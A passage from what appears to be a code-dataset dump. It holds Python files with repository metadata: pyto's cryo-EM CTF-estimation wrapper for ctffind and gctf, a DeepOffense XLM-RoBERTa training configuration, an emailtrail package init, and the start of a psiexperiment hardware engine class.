in_last_cycle_data: #print line.strip('\n') data_split = line.strip().split()[:-2] in_last_cycle_data = False # read res limit and b factor elif in_last_cycle and line.startswith('Resolution limit'): resolution = float(line.split()[-1]) elif in_last_cycle and line.startswith('Estimated Bfactor'): b_factor = float(line.split()[-1]) in_last_cycle = False # read validation elif line.find('VALIDATION_SCORE') >= 0: validation_lines.append(line.strip('\n')) # extract results results_native = dict( [(head, float(value)) for head, value in zip(head_split, data_split)]) results_native["Defocus_U"] = results_native["Defocus_U"] / 10000. results_native["Defocus_V"] = results_native["Defocus_V"] / 10000. #print(results_native) key_dict = { "Defocus_U":"defocus_1", "Defocus_V":"defocus_2", "Angle":"angle", "CCC":"ccc", "Phase_shift":"phase"} results = dict([ (key_dict[old_key], value) for old_key, value in list(results_native.items())]) results['defocus'] = (results['defocus_1'] + results['defocus_2']) / 2. results['phase'] = results.get('phase', 0) / 180. results["resolution"] = resolution / 10. results["b_factor"] = b_factor #if results.get("phase") is None: results["phase"] = 0 results['ctf_path'] = ctf_path results['pixel_a'] = pixel_a for val_line in validation_lines: val_list = val_line.strip().split() name_suf = val_list[0].replace('-', '_') results[cls.validation_prefix + name_suf] = int(val_list[-1]) # prepare header for defoci and phases if print_head: left_space = ' ' * (old_div((len(image_name) - 5), 2)) right_space = ' ' * (old_div((len(image_name) - 4), 2)) head_1 = ( left_space + "Image" + right_space + " Defocus 1 Defocus 2 Phase Resolution") head_2 = ( left_space + " " + right_space + " um um [pi] nm ") # prepare results if print_results: data_format = '%s %6.2f %6.2f %6.2f %6.2f ' data_vars = ( image_name, results["defocus_1"], results["defocus_2"], results["phase"], results["resolution"]) # add validation to header and results val_names = np.sort( [val_nam for val_nam in results if val_nam.startswith(cls.validation_prefix)])[::-1] for val_nam in val_names: if print_head: head_1 += (" " + val_nam.split(cls.validation_prefix, 1)[1]) head_2 += " " if print_results: data_format += ' %2d ' data_vars += (results[val_nam],) # print if print_head: print(head_1) print(head_2) if print_results: print(data_format % data_vars) # print validation if print_validation: for val_line in validation_lines: print(val_line) # plot ctf epa = np.loadtxt(epa_path, skiprows=1) if plot_ps: plt.figure() plt.plot(1./epa[:,0], epa[:,2]) plt.ylabel('ln(|F|)') #if show_legend: plt.legend() plt.show() if plot_ctf: plt.figure() if b_plot: exp_b = np.exp(-b_factor * 1./epa[:,0]**2 / 4.) else: exp_b = 1 plt.plot(1./epa[:,0], epa[:,1] * exp_b, label="CTF fit") if exp_f_plot: plt.plot( 1./epa[:,0], np.exp(epa[:,3]), label="$e^{ln(|F|-Bg)}$") else: plt.plot(1./epa[:,0], epa[:,3], label="$ln(|F|-Bg)$") plt.xlabel('Resolution [1/A]') if show_legend: plt.legend() plt.show() # return return results @classmethod def read_pixel_size(cls, image_path): """ Reads pixel size from an image file. Raises ValueError if pixel size can not be read from the image Argument: - image_path: image path Returns: pixel size in A """ image_io = ImageIO() if image_path.endswith('.st'): image_io.readHeader(file=image_path, fileFormat='mrc') else: image_io.readHeader(file=image_path) if image_io.pixel is not None: if isinstance(image_io.pixel, (list, tuple)): pixel_a = 10 * image_io.pixel[0] else: pixel_a = 10 * image_io.pixel else: raise ValueError( "Pixel size could not be found from image " + image_path + ". Please specify pixel_a as an argument.") # in case of 0 pix size if pixel_a == 0: raise ValueError( "Pixel size could not be found from image " + image_path + ". Please specify pixel_a as an argument.") return pixel_a @classmethod def flatten_stack(cls, stack_path, flat_dir): """ Flattens image stack, that is sums up all z-slices and writes the resulting (flat) image). Arguments: - stack_path: path to the image stack - flat_path: path where the resulting image is saved Returns resulting image path """ # parse stack path stack_dir, stack_name = os.path.split(stack_path) stack_base, stack_extension = stack_name.rsplit('.', 1) if stack_extension == 'st': stack_extension = 'mrc' file_format = 'mrc' else: file_format = None # read, flatten and write flat_path = os.path.join( flat_dir, stack_base + '_flat.' + stack_extension) frame = Image.read(file=stack_path, fileFormat=file_format) frame.data = np.sum(frame.data, axis=2, dtype=frame.data.dtype) frame.write(file=flat_path, pixel=frame.pixelsize) return flat_path

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from __future__ import unicode_literals from __future__ import print_function from __future__ import division from builtins import zip from builtins import str from builtins import range from builtins import object from past.utils import old_div from past.builtins import basestring __version__ = "$Revision$" import os import subprocess import logging import numpy as np import matplotlib.pyplot as plt import pyto.util.nested from pyto.io.image_io import ImageIO from pyto.grey.image import Image class Ctf(object): validation_prefix = "validation_" default_params_ctffind = { "pixel_a":1, "cs":2.7, "amp":0.1, "phase":"no", 'box':512, 'min_res':30, 'max_res':5, 'min_def':5000, 'max_def':50000, 'def_step':500, 'astig':100, 'known_astig':'no', 'slow_search':'yes', 'restraint_astig':'yes', 'tolerated_astig':200, 'phase':'yes', 'min_phase':0, 'max_phase':2, 'phase_step':0.1, 'expert':'no'} param_names_ctffind_4_0 = [ 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', 'min_def', 'max_def', 'def_step', 'astig', 'phase', 'min_phase', 'max_phase', 'phase_step'] param_names_ctffind_4_1 = [ 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', 'min_def', 'max_def', 'def_step', 'known_astig', 'slow_search', 'restraint_astig','tolerated_astig', 'phase', 'min_phase', 'max_phase', 'phase_step', 'expert'] def __init__(self): self.image_path_orig = [] self.image_inds = [] self.image_path = [] self.ctf_path = [] self.phases = [] self.defoci_1 = [] self.defoci_2 = [] self.defoci = [] self.resolution = [] self.pixel_a = [] self.angle = [] @classmethod def find( cls, image_dir, image_prefix, ctf_dir, params, pixel_a=None, flatten='auto', tool='ctffind', executable=None, param_file='ctf_params.txt', fast=False, max_images=None, plot_ctf=True, plot_ps=True, b_plot=True, exp_f_plot=False, show_legend=True, plot_phases=True, plot_defoci=True, plot_resolution=True, print_results=True, print_validation=False): index = 0 new = cls() print_head = True if plot_ctf and fast: print( "Warning: CTF will not be plotted because fast execution" + " was chosen") if tool == 'ctffind': if executable is None: executable = 'ctffind' elif tool == 'gctf': if executable is None: executable = 'gctf' else: raise ValueError( "CTF determination tool " + str(tool) + " was not understood.") new.tool = tool file_list = np.sort(os.listdir(image_dir)) for image_name in file_list: if not image_name.startswith(image_prefix): continue if not (image_name.endswith('.mrc') or image_name.endswith('.st') or image_name.endswith('.em')): continue if image_name.endswith('ctf.mrc'): continue image_path = os.path.join(image_dir, image_name) im_io = ImageIO(file=image_path) if image_name.endswith('.st'): im_io.readHeader(fileFormat='mrc') else: im_io.readHeader() z_dim = im_io.shape[2] n_digits = int(np.ceil(np.log10(z_dim))) if isinstance(flatten, bool): pass elif isinstance(flatten, basestring) and (flatten == 'auto'): if z_dim > 1: flatten = True else: flatten = False else: raise ValueError( "Argument flatten: "+ str(flatten) +" was not understood.") if (z_dim > 1) and not flatten: image_dir, image_name = os.path.split(image_path) image_base, image_extension = image_name.rsplit('.', 1) image_name_new_tmplt = ( image_base + '_%0' + str(n_digits) + 'd.mrc') if image_name.endswith('.st'): stack = Image.read( image_path, memmap=True, fileFormat='mrc') else: stack = Image.read(image_path, memmap=True) else: image_path_to_read = image_path for image_in_stack_ind in range(z_dim): if (z_dim > 1) and not flatten: if not os.path.exists(ctf_dir): os.makedirs(ctf_dir) image_path_to_read = os.path.join( ctf_dir, (image_name_new_tmplt % image_in_stack_ind)) one_image = Image() one_image.data = stack.data[:,:,image_in_stack_ind] one_image.write( file=image_path_to_read, pixel=stack.pixelsize) new.image_path_orig.append(image_path) new.image_inds.append(image_in_stack_ind) new.image_path.append(image_path_to_read) if tool == 'ctffind': res_one = cls.ctffind( image_path=image_path_to_read, flatten=flatten, ctf_dir=ctf_dir, executable=executable, pixel_a=pixel_a, params=params, param_file=param_file, fast=fast, print_head=print_head, print_results= print_results, plot_ctf=plot_ctf, show_legend=show_legend) elif tool == 'gctf': res_one = cls.gctf( image_path=image_path_to_read, params=params, pixel_a=pixel_a, flatten=flatten, ctf_dir=ctf_dir, executable=executable, plot_ctf=plot_ctf, plot_ps=plot_ps ,b_plot=b_plot, exp_f_plot=exp_f_plot, show_legend=show_legend, print_results=print_results, print_head=print_head, print_validation=print_validation) try: new.b_factor.append(res_one['b_factor']) except AttributeError: new.b_factor = [res_one['b_factor']] for name, value in list(res_one.items()): if name.startswith(cls.validation_prefix): try: previous_val = getattr(new, name) previous_val.append(value) setattr(new, name, previous_val) except AttributeError: setattr(new, name, [value]) else: raise ValueError("Sorry tool: " + tool + " was not found.") new.phases.append(res_one["phase"]) new.defoci.append(res_one["defocus"]) new.defoci_1.append(res_one['defocus_1']) new.defoci_2.append(res_one['defocus_2']) new.resolution.append(res_one['resolution']) new.pixel_a.append(res_one['pixel_a']) new.angle.append(res_one['angle']) new.ctf_path.append(res_one['ctf_path']) print_head = False index = index + 1 if (max_images is not None) and (index > max_images): break if flatten: break if plot_phases: plt.figure() plt.bar(list(range(index)), new.phases) plt.plot([0, index], [0.5, 0.5], 'r--') plt.ylabel('Phase shift [$\pi$]') plt.xlabel('Images') plt.title("Phase shift summary") if plot_defoci: plt.figure() plt.bar(list(range(index)), new.defoci) plt.ylabel('Defocus [$\mu m$]') plt.xlabel('Images') plt.title("Defocus summary") if plot_resolution: plt.figure() plt.bar(list(range(index)), new.resolution) plt.ylabel('Resolution [nm]') plt.xlabel('Images') plt.title("Resolution summary") return new @classmethod def ctffind( cls, image_path, ctf_dir, params, pixel_a=None, flatten=False, executable='ctffind', param_file='ctf_params.txt', fast=False, print_results=True, print_head=True, plot_ctf=True, show_legend=True): if not os.path.exists(ctf_dir): os.makedirs(ctf_dir) # find pixel size if pixel_a is None: pixel_a = cls.read_pixel_size(image_path=image_path) # flatten frame stack if flatten: image_path = cls.flatten_stack( stack_path=image_path, flat_dir=ctf_dir) # default params ctffind 4.0.17 (moved to top of this file anyway) #default_params = { # "pixel_a":1, "cs":2.7, "amp":0.1, "phase":"no", 'box':512, # 'min_res':30, 'max_res':5, 'min_def':5000, 'max_def':50000, # 'def_step':500, 'astig':100, 'phase':'no', 'min_phase':0, # 'max_phase':2, 'phase_step':0.1} #param_names = [ # 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', # 'min_def', 'max_def', 'def_step', 'astig', 'phase', # 'min_phase', 'max_phase', 'phase_step'] # keep params if list, add default if dict if isinstance(params, list): comb_params = [pixel_a] + params elif isinstance(params, dict): params_dict = cls.default_params_ctffind.copy() params_dict.update(params) params_dict['pixel_a'] = pixel_a param_names = cls.make_param_names_ctffind(params=params_dict) comb_params = [params_dict[name] for name in param_names] # set ctffind out paths image_dir, image_name = os.path.split(image_path) image_base, image_extension = image_name.rsplit('.', 1) ctf_path = os.path.join(ctf_dir, image_base + '_ctf.mrc') ctf_txt_path = os.path.join(ctf_dir, image_base + '_ctf.txt') ctf_avrot_path = os.path.join(ctf_dir, image_base + '_ctf_avrot.txt') # wite ctf parameters to a file param_path = os.path.join(ctf_dir, param_file) pf = open(param_path, 'w') pf.write(image_path + '\n') pf.write(ctf_path + '\n') str_params = [str(par) + '\n' for par in comb_params] pf.writelines(str_params) pf.flush() # execute ctffind # shell commands that work: # - ctffind < param_path # - cat params.txt | ctffind #print(image) if fast: ctf_cmd = [executable, '--fast'] else: ctf_cmd = [executable] try: subprocess.check_call(ctf_cmd, stdin=open(param_path)) except Exception as exc: # workaround for ctffind command returning code 255 (4.1.8, 09.2018) logging.debug('CalledProcessError: ' + str(exc)) # read results: ctf_txt = np.loadtxt(ctf_txt_path) results = { "defocus_1":ctf_txt[1]/10000., "defocus_2":ctf_txt[2]/10000., "angle" : ctf_txt[3], "phase":old_div(ctf_txt[4],np.pi), "ccc" : ctf_txt[5], "resolution" : ctf_txt[6] / 10., 'pixel_a':pixel_a} results['defocus'] = (results['defocus_1'] + results['defocus_2']) / 2. results['ctf_path'] = ctf_path # prepare header for defoci and phases if print_head: left_space = ' ' * old_div((len(image_name) - 5), 2) right_space = ' ' *old_div ((len(image_name) - 4), 2) head_1 = ( left_space + "Image" + right_space + " Defocus 1 Defocus 2 Phase Resolution") head_2 = ( left_space + " " + right_space + " um um [pi] nm ") # prepare results if print_results: data_format = '%s %6.2f %6.2f %6.2f %6.2f ' data_vars = ( image_name, results["defocus_1"], results["defocus_2"], results["phase"], results["resolution"]) # print if print_head: print(head_1) print(head_2) if print_results: print(data_format % data_vars) # plot ctf if plot_ctf: plt.figure() avrot_data = np.loadtxt(ctf_avrot_path) x_data = avrot_data[0] / pixel_a plt.plot(x_data, avrot_data[2], 'g-', label='PS') plt.plot( x_data, avrot_data[3], color='orange', linewidth=2, label='CTF fit') plt.plot( x_data, avrot_data[4], color='blue', linewidth=2, label='Quality') plt.ylim(-0.1, 1.1) plt.xlabel("Spatial frequency [1/A])") plt.ylabel("Amplitude") if show_legend: plt.legend() plt.show() return results @classmethod def make_param_names_ctffind(cls, params): # optional parts if params['restraint_astig'] in ['yes', 'y']: restraint_astig_part = ['restraint_astig','tolerated_astig'] else: restraint_astig_part = ['restraint_astig'] if (params['phase'] == 'yes') or (params['phase'] == 'y'): phase_part = ['phase', 'min_phase', 'max_phase', 'phase_step'] else: phase_part = ['phase'] # combine param_names = ( cls.param_names_ctffind_4_1[:12] + restraint_astig_part + phase_part + ['expert']) return param_names @classmethod def gctf( cls, image_path, ctf_dir, params, pixel_a=None, flatten=False, executable='gctf', plot_ps=True, plot_ctf=True, b_plot=True, exp_f_plot=False, show_legend=True, print_results=True, print_head=True, print_validation=False): # make ctf dir if doesn't exist if not os.path.exists(ctf_dir): os.makedirs(ctf_dir) if pixel_a is None: pixel_a = cls.read_pixel_size(image_path=image_path) if flatten: image_path = cls.flatten_stack( stack_path=image_path, flat_dir=ctf_dir) gctf_names = { 'pixel_a':'apix', 'voltage':'kV', 'cs':'Cs', 'amp':'ac', 'box':'boxsize', 'min_res':'resL', 'max_res':'resH', 'min_def':'defL', 'max_def':'defH', 'def_step':'defS', 'astig':'astm', 'phase':'phase', 'min_phase':'phase_shift_L', 'max_phase':'phase_shift_H', 'phase_step':'phase_shift_S'} params["pixel_a"] = pixel_a params_list = [ ["--" + gctf_names.get(key, key), str(val)] for key, val in list(params.items())] params_list = pyto.util.nested.flatten(params_list) params_list = [par for par in params_list if len(par) > 0] ctf_cmd = [executable] + params_list + [image_path] call_status = subprocess.check_call(ctf_cmd) image_dir, image_name = os.path.split(image_path) image_base, image_extension = image_name.rsplit('.', 1) epa_path = os.path.join(ctf_dir, image_base + '_EPA.log') gctf_path = os.path.join(ctf_dir, image_base + '_gctf.log') ctf_path = os.path.join(ctf_dir, image_base + '.ctf') tmp_epa_path = os.path.join(image_dir, image_base + '_EPA.log') tmp_gctf_path = os.path.join(image_dir, image_base + '_gctf.log') tmp_ctf_path = os.path.join(image_dir, image_base + '.ctf') if image_dir != ctf_dir: call_status = subprocess.check_call(['mv', tmp_epa_path, epa_path]) call_status = subprocess.check_call( ['mv', tmp_gctf_path, gctf_path]) call_status = subprocess.check_call(['mv', tmp_ctf_path, ctf_path]) call_status = subprocess.check_call( ['mv', 'micrographs_all_gctf.star', ctf_dir]) in_last_cycle = False in_last_cycle_data = False validation_lines = [] for line in open(gctf_path): if line.find('LAST CYCLE') >= 0: in_last_cycle = True elif in_last_cycle and (line.find('Defocus_U') >= 0): head_split = line.strip().split() in_last_cycle_data = True elif in_last_cycle_data: data_split = line.strip().split()[:-2] in_last_cycle_data = False elif in_last_cycle and line.startswith('Resolution limit'): resolution = float(line.split()[-1]) elif in_last_cycle and line.startswith('Estimated Bfactor'): b_factor = float(line.split()[-1]) in_last_cycle = False elif line.find('VALIDATION_SCORE') >= 0: validation_lines.append(line.strip('\n')) results_native = dict( [(head, float(value)) for head, value in zip(head_split, data_split)]) results_native["Defocus_U"] = results_native["Defocus_U"] / 10000. results_native["Defocus_V"] = results_native["Defocus_V"] / 10000. key_dict = { "Defocus_U":"defocus_1", "Defocus_V":"defocus_2", "Angle":"angle", "CCC":"ccc", "Phase_shift":"phase"} results = dict([ (key_dict[old_key], value) for old_key, value in list(results_native.items())]) results['defocus'] = (results['defocus_1'] + results['defocus_2']) / 2. results['phase'] = results.get('phase', 0) / 180. results["resolution"] = resolution / 10. results["b_factor"] = b_factor results['ctf_path'] = ctf_path results['pixel_a'] = pixel_a for val_line in validation_lines: val_list = val_line.strip().split() name_suf = val_list[0].replace('-', '_') results[cls.validation_prefix + name_suf] = int(val_list[-1]) if print_head: left_space = ' ' * (old_div((len(image_name) - 5), 2)) right_space = ' ' * (old_div((len(image_name) - 4), 2)) head_1 = ( left_space + "Image" + right_space + " Defocus 1 Defocus 2 Phase Resolution") head_2 = ( left_space + " " + right_space + " um um [pi] nm ") if print_results: data_format = '%s %6.2f %6.2f %6.2f %6.2f ' data_vars = ( image_name, results["defocus_1"], results["defocus_2"], results["phase"], results["resolution"]) val_names = np.sort( [val_nam for val_nam in results if val_nam.startswith(cls.validation_prefix)])[::-1] for val_nam in val_names: if print_head: head_1 += (" " + val_nam.split(cls.validation_prefix, 1)[1]) head_2 += " " if print_results: data_format += ' %2d ' data_vars += (results[val_nam],) if print_head: print(head_1) print(head_2) if print_results: print(data_format % data_vars) if print_validation: for val_line in validation_lines: print(val_line) epa = np.loadtxt(epa_path, skiprows=1) if plot_ps: plt.figure() plt.plot(1./epa[:,0], epa[:,2]) plt.ylabel('ln(|F|)') plt.show() if plot_ctf: plt.figure() if b_plot: exp_b = np.exp(-b_factor * 1./epa[:,0]**2 / 4.) else: exp_b = 1 plt.plot(1./epa[:,0], epa[:,1] * exp_b, label="CTF fit") if exp_f_plot: plt.plot( 1./epa[:,0], np.exp(epa[:,3]), label="$e^{ln(|F|-Bg)}$") else: plt.plot(1./epa[:,0], epa[:,3], label="$ln(|F|-Bg)$") plt.xlabel('Resolution [1/A]') if show_legend: plt.legend() plt.show() return results @classmethod def read_pixel_size(cls, image_path): image_io = ImageIO() if image_path.endswith('.st'): image_io.readHeader(file=image_path, fileFormat='mrc') else: image_io.readHeader(file=image_path) if image_io.pixel is not None: if isinstance(image_io.pixel, (list, tuple)): pixel_a = 10 * image_io.pixel[0] else: pixel_a = 10 * image_io.pixel else: raise ValueError( "Pixel size could not be found from image " + image_path + ". Please specify pixel_a as an argument.") if pixel_a == 0: raise ValueError( "Pixel size could not be found from image " + image_path + ". Please specify pixel_a as an argument.") return pixel_a @classmethod def flatten_stack(cls, stack_path, flat_dir): stack_dir, stack_name = os.path.split(stack_path) stack_base, stack_extension = stack_name.rsplit('.', 1) if stack_extension == 'st': stack_extension = 'mrc' file_format = 'mrc' else: file_format = None flat_path = os.path.join( flat_dir, stack_base + '_flat.' + stack_extension) frame = Image.read(file=stack_path, fileFormat=file_format) frame.data = np.sum(frame.data, axis=2, dtype=frame.data.dtype) frame.write(file=flat_path, pixel=frame.pixelsize) return flat_path

true

f7101a83b95d3f574f2be24cf7bb5968d97a4765

3,783

py

Python

examples/bengali/bengali_deepoffense_config.py

TharinduDR/DeepOffense

8715006707ac0272cc534b3d6844ef10367400e9

[ "Apache-2.0" ]

5

2020-05-31T07:40:36.000Z

2022-02-13T19:18:40.000Z

examples/greek/greek_deepoffense_config.py

TharinduDR/DeepOffense

8715006707ac0272cc534b3d6844ef10367400e9

[ "Apache-2.0" ]

null

examples/greek/greek_deepoffense_config.py

TharinduDR/DeepOffense

8715006707ac0272cc534b3d6844ef10367400e9

[ "Apache-2.0" ]

2

2021-03-25T12:44:04.000Z

2021-03-25T16:50:59.000Z

from multiprocessing import cpu_count TEMP_DIRECTORY = "temp/data" TRAIN_FILE = "train.tsv" TEST_FILE = "test.tsv" DEV_RESULT_FILE = "dev_result.tsv" DEV_EVAL_FILE = 'dev_eval.txt' RESULT_FILE = "result.csv" SUBMISSION_FOLDER = "transformers" SUBMISSION_FILE = "transformers" MODEL_TYPE = "xlmroberta" MODEL_NAME = "xlm-roberta-large" LANGUAGE_FINETUNE =False SEED = 777 # training instances = 7000 > if batch size=8, batches = 875 > evaluate during training steps -> 80 or 175 args = { 'output_dir': 'temp/outputs/', "best_model_dir": "temp/outputs/best_model", 'cache_dir': 'temp/cache_dir/', 'fp16': False, 'fp16_opt_level': 'O1', 'max_seq_length': 128, # 128 'train_batch_size': 8, 'gradient_accumulation_steps': 1, 'eval_batch_size': 8, 'num_train_epochs': 3, 'weight_decay': 0, 'learning_rate': 1e-5, 'adam_epsilon': 1e-8, 'warmup_ratio': 0.06, 'warmup_steps': 0, 'max_grad_norm': 1.0, 'do_lower_case': False, 'n_fold': 3, 'logging_steps': 60, 'save_steps': 60, "no_cache": False, "no_save": False, "save_recent_only": True, 'save_model_every_epoch': True, 'evaluate_during_training': True, "evaluate_during_training_silent": True, 'evaluate_during_training_steps': 60, "evaluate_during_training_verbose": True, 'use_cached_eval_features': False, "save_best_model": True, 'save_eval_checkpoints': True, 'tensorboard_dir': None, "save_optimizer_and_scheduler": True, 'overwrite_output_dir': True, 'reprocess_input_data': True, 'process_count': cpu_count() - 2 if cpu_count() > 2 else 1, 'n_gpu': 1, 'use_multiprocessing': True, "multiprocessing_chunksize": 500, 'silent': False, 'wandb_project': None, 'wandb_kwargs': {}, "use_early_stopping": True, "early_stopping_patience": 10, "early_stopping_delta": 0, "early_stopping_metric": "eval_loss", "early_stopping_metric_minimize": True, "early_stopping_consider_epochs": False, "manual_seed": SEED, "config": {}, "local_rank": -1, "encoding": None, } language_modeling_args = { 'output_dir': 'temp/lm/outputs/', "best_model_dir": "temp/lm/outputs/best_model", 'cache_dir': 'temp/lm/cache_dir/', 'fp16': False, 'fp16_opt_level': 'O1', 'max_seq_length': 152, # 128 'train_batch_size': 8, 'gradient_accumulation_steps': 1, 'eval_batch_size': 8, 'num_train_epochs': 2, 'weight_decay': 0, 'learning_rate': 1e-5, 'adam_epsilon': 1e-8, 'warmup_ratio': 0.06, 'warmup_steps': 0, 'max_grad_norm': 1.0, 'do_lower_case': False, 'logging_steps': 80, 'save_steps': 80, "no_cache": False, "no_save": False, "save_recent_only": True, 'save_model_every_epoch': True, 'evaluate_during_training': True, "evaluate_during_training_silent": True, 'evaluate_during_training_steps': 80, "evaluate_during_training_verbose": True, 'use_cached_eval_features': False, "save_best_model": True, 'save_eval_checkpoints': True, 'tensorboard_dir': None, "save_optimizer_and_scheduler": True, 'overwrite_output_dir': True, 'reprocess_input_data': True, 'process_count': cpu_count() - 2 if cpu_count() > 2 else 1, 'n_gpu': 1, 'use_multiprocessing': True, "multiprocessing_chunksize": 500, 'silent': False, 'wandb_project': None, 'wandb_kwargs': {}, "use_early_stopping": True, "early_stopping_patience": 10, "early_stopping_delta": 0, "early_stopping_metric": "eval_loss", "early_stopping_metric_minimize": True, "early_stopping_consider_epochs": False, "manual_seed": SEED, "config": {}, "local_rank": -1, "encoding": None, }

26.089655

106

0.665609

from multiprocessing import cpu_count TEMP_DIRECTORY = "temp/data" TRAIN_FILE = "train.tsv" TEST_FILE = "test.tsv" DEV_RESULT_FILE = "dev_result.tsv" DEV_EVAL_FILE = 'dev_eval.txt' RESULT_FILE = "result.csv" SUBMISSION_FOLDER = "transformers" SUBMISSION_FILE = "transformers" MODEL_TYPE = "xlmroberta" MODEL_NAME = "xlm-roberta-large" LANGUAGE_FINETUNE =False SEED = 777 args = { 'output_dir': 'temp/outputs/', "best_model_dir": "temp/outputs/best_model", 'cache_dir': 'temp/cache_dir/', 'fp16': False, 'fp16_opt_level': 'O1', 'max_seq_length': 128, 'train_batch_size': 8, 'gradient_accumulation_steps': 1, 'eval_batch_size': 8, 'num_train_epochs': 3, 'weight_decay': 0, 'learning_rate': 1e-5, 'adam_epsilon': 1e-8, 'warmup_ratio': 0.06, 'warmup_steps': 0, 'max_grad_norm': 1.0, 'do_lower_case': False, 'n_fold': 3, 'logging_steps': 60, 'save_steps': 60, "no_cache": False, "no_save": False, "save_recent_only": True, 'save_model_every_epoch': True, 'evaluate_during_training': True, "evaluate_during_training_silent": True, 'evaluate_during_training_steps': 60, "evaluate_during_training_verbose": True, 'use_cached_eval_features': False, "save_best_model": True, 'save_eval_checkpoints': True, 'tensorboard_dir': None, "save_optimizer_and_scheduler": True, 'overwrite_output_dir': True, 'reprocess_input_data': True, 'process_count': cpu_count() - 2 if cpu_count() > 2 else 1, 'n_gpu': 1, 'use_multiprocessing': True, "multiprocessing_chunksize": 500, 'silent': False, 'wandb_project': None, 'wandb_kwargs': {}, "use_early_stopping": True, "early_stopping_patience": 10, "early_stopping_delta": 0, "early_stopping_metric": "eval_loss", "early_stopping_metric_minimize": True, "early_stopping_consider_epochs": False, "manual_seed": SEED, "config": {}, "local_rank": -1, "encoding": None, } language_modeling_args = { 'output_dir': 'temp/lm/outputs/', "best_model_dir": "temp/lm/outputs/best_model", 'cache_dir': 'temp/lm/cache_dir/', 'fp16': False, 'fp16_opt_level': 'O1', 'max_seq_length': 152, 'train_batch_size': 8, 'gradient_accumulation_steps': 1, 'eval_batch_size': 8, 'num_train_epochs': 2, 'weight_decay': 0, 'learning_rate': 1e-5, 'adam_epsilon': 1e-8, 'warmup_ratio': 0.06, 'warmup_steps': 0, 'max_grad_norm': 1.0, 'do_lower_case': False, 'logging_steps': 80, 'save_steps': 80, "no_cache": False, "no_save": False, "save_recent_only": True, 'save_model_every_epoch': True, 'evaluate_during_training': True, "evaluate_during_training_silent": True, 'evaluate_during_training_steps': 80, "evaluate_during_training_verbose": True, 'use_cached_eval_features': False, "save_best_model": True, 'save_eval_checkpoints': True, 'tensorboard_dir': None, "save_optimizer_and_scheduler": True, 'overwrite_output_dir': True, 'reprocess_input_data': True, 'process_count': cpu_count() - 2 if cpu_count() > 2 else 1, 'n_gpu': 1, 'use_multiprocessing': True, "multiprocessing_chunksize": 500, 'silent': False, 'wandb_project': None, 'wandb_kwargs': {}, "use_early_stopping": True, "early_stopping_patience": 10, "early_stopping_delta": 0, "early_stopping_metric": "eval_loss", "early_stopping_metric_minimize": True, "early_stopping_consider_epochs": False, "manual_seed": SEED, "config": {}, "local_rank": -1, "encoding": None, }

true

f7101a8b865c1f87f28c1270c97bd9246634db2e

69

py

Python

emailtrail/__init__.py

akshaykmr/emailtrail

8298e4b68c70f9b64198f54e4f3baf77d5fe54fa

[ "MIT" ]

11

2020-04-05T07:24:46.000Z

2021-01-10T06:58:00.000Z

emailtrail/__init__.py

akshaykmr/emailtrail

8298e4b68c70f9b64198f54e4f3baf77d5fe54fa

[ "MIT" ]

1

2021-09-09T16:46:18.000Z

emailtrail/__init__.py

akshaykmr/emailtrail

8298e4b68c70f9b64198f54e4f3baf77d5fe54fa

[ "MIT" ]

1

2020-10-26T17:50:10.000Z

from .module import * # noqa from .models import Trail, Hop # noqa

17.25

37

0.695652

from .module import * from .models import Trail, Hop

true

f7101aab8fc3aaf31dfafe13235193eac5d70266

8,534

py

Python

psi/controller/engine.py

bburan/psiexperiment

9b70f7f0b4a4379d8c3fc463e1df272153afd247

[ "MIT" ]

5

2016-05-26T13:46:00.000Z

2020-03-03T13:07:47.000Z

psi/controller/engine.py

bburan/psiexperiment

9b70f7f0b4a4379d8c3fc463e1df272153afd247

[ "MIT" ]

2

2018-04-17T15:06:35.000Z

2019-03-25T18:13:10.000Z

psi/controller/engine.py

bburan/psiexperiment

9b70f7f0b4a4379d8c3fc463e1df272153afd247

[ "MIT" ]

1

2016-05-28T19:36:38.000Z

import logging log = logging.getLogger(__name__) import threading import numpy as np from atom.api import (Unicode, Float, Bool, observe, Property, Int, Typed, Long, Value) from enaml.core.api import Declarative, d_ from psi.core.enaml.api import PSIContribution from ..util import copy_declarative from .channel import (Channel, AnalogMixin, DigitalMixin, HardwareMixin, SoftwareMixin, OutputMixin, InputMixin, CounterMixin) def log_configuration(engine): info = ['Engine configuration'] info.append('Engine {}'.format(engine.name)) for channel in engine.get_channels(direction='input', active=True): info.append('\t channel {}'.format(channel.name)) for i in channel.inputs: info.append('\t\t input {}'.format(i.name)) for channel in engine.get_channels(direction='output', active=True): info.append('\t channel {}'.format(channel.name)) for o in channel.outputs: info.append('\t\t output {}'.format(o.name)) log.info('\n'.join(info)) class Engine(PSIContribution): ''' Defines hardware-specific interface The user-defind attributes are ones set by the end-user of this library in their IO manifest. The IO manifest is system specific and describes the hardware they are using for data acquisition. User-defined attributes ----------------------- name : string Name of the engine. Must be unique across all engines. This name is used for debugging and metadata purposes. master_clock : bool If true, this engine will provide a timestamp whenever it's requested via `get_ts`. This is typically used for software-timed events (events generated by the hardware will typically have a timestamp that's determined by the engine that controls that particular device). hw_ai_monitor_period : float (sec) Poll period (in seconds). This defines how quickly acquired (analog input) data is downloaded from the buffers (and made available to listeners). If you want to see data as soon as possible, set the poll period to a small value. If your application is stalling or freezing, set this to a larger value. This poll period is a suggestion, not a contract. hw_ao_monitor_period : float (sec) Poll period (in seconds). This defines how often callbacks for the analog outputs are notified (i.e., to generate additional samples for playout). If the poll period is too long, then the analog output may run out of samples. This poll period is a suggestion, not a contract. Attributes ---------- configured : bool True if the hardware has been configured. Notes ----- When subclassing, you only need to implement the callbacks required by your hardware. For example, if your hardware only has analog inputs, you only need to implement the analog input methods. ''' name = d_(Unicode()).tag(metadata=True) master_clock = d_(Bool(False)).tag(metadata=True) lock = Value() configured = Bool(False) hw_ai_monitor_period = d_(Float(0.1)).tag(metadata=True) hw_ao_monitor_period = d_(Float(1)).tag(metadata=True) def _default_lock(self): return threading.Lock() def get_channels(self, mode=None, direction=None, timing=None, active=True): ''' Return channels matching criteria Parameters ---------- mode : {None, 'analog', 'digital' Type of channel direction : {None, 'input, 'output'} Direction timing : {None, 'hardware', 'software'} Hardware or software-timed channel. Hardware-timed channels have a sampling frequency greater than 0. active : bool If True, return only channels that have configured inputs or outputs. ''' channels = [c for c in self.children if isinstance(c, Channel)] if active: channels = [c for c in channels if c.active] if timing is not None: if timing in ('hardware', 'hw'): channels = [c for c in channels if isinstance(c, HardwareMixin)] 